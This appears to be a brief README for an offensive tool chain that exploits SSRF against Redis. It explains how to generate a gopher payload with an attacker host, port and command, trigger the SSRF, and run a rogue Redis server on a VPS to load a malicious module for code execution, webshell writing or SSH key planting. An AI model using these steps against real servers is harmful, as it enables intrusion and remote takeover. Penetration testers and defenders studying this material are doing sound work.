- ssrf to write files. eg: webshell and ssh key
- ssrf to rce 4.x - 5.x
ssrf-redis.py : python2.x 3.x
rogue-server.py : python2.x (lazy
implememt for demo.
plz read generate_payload function and change payload.
for rce usage:
-
change lhost, lport and command, then
> python ssrf-redis.py
> gopher://xxxxx
-
triger ssrf
-
meanwhile on vps
> python rogue-server.py
> Accepted connection from 192.168.x.x
(Need to compile a module named exp.so at first or download other's and store it with rogue-server.py)
Inspired by https://github.com/n0b0dyCN/redis-rogue-server
Also, modified from https://xz.aliyun.com/t/5665